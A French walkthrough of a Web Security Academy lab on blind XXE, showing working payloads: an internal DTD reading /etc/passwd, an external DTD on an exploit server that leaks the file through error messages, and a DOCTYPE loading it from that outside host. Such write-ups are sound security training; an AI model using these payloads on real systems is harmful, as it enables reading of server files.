Web Security Academy

XML external entity - Lab : Exploiting blind XXE to retrieve data via error messages

Objectif :

  • Récupérer le contenu du fichier /etc/passwd sur le serveur distant.

Solution :

On lance le lab et on se retrouve dans la première page d'un blog où plusieurs posts sont affichés :

On accède au détail d'un objet et en bas de la page, on peut vérifier la quantité du stock d'un produit dans différentes villes :

On clique sur "Check stock" et on observe la requête envoyée :

C'est une requête POST avec une donnée au format XML.

On va essayer une injection XXE basique en définissant une DTD interne dans le document. Le payload est le suivant :

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

On essaye de remplacer chaque valeur de la donnée XML par l'entité "xxe" mais le serveur ne nous renvoie rien d'intéressant. Il affiche "invalid product ID" lorsque l'identifiant du produit n'est pas correct.

On va essayer de provoquer une erreur en utilisant la définition d'une DTD externe. Le lab nous fournit un serveur où on pourra stocker et récupérer ces données. Dans celui-ci, on va définir une entité pour récupérer le contenu du fichier /etc/passwd et une autre qui va provoquer une erreur incluant l'affichage du contenu de ce fichier. Ce qui donne :

<!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">

%eval;

%exfil;

Maintenant, dans la donnée XML de la requête POST liée à la vérification du stock d'un produit, on va définir un DOCTYPE pour récupérer le contenu défini précédemment depuis le serveur distant :

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://acc31fa31f042f1b80fe616e01060093.web-security-academy.net/exploit"> %xxe;]>

On envoie la requête au serveur et il nous répond avec une erreur où le contenu du fichier /etc/passwd est affiché :

Le lab est désormais validé.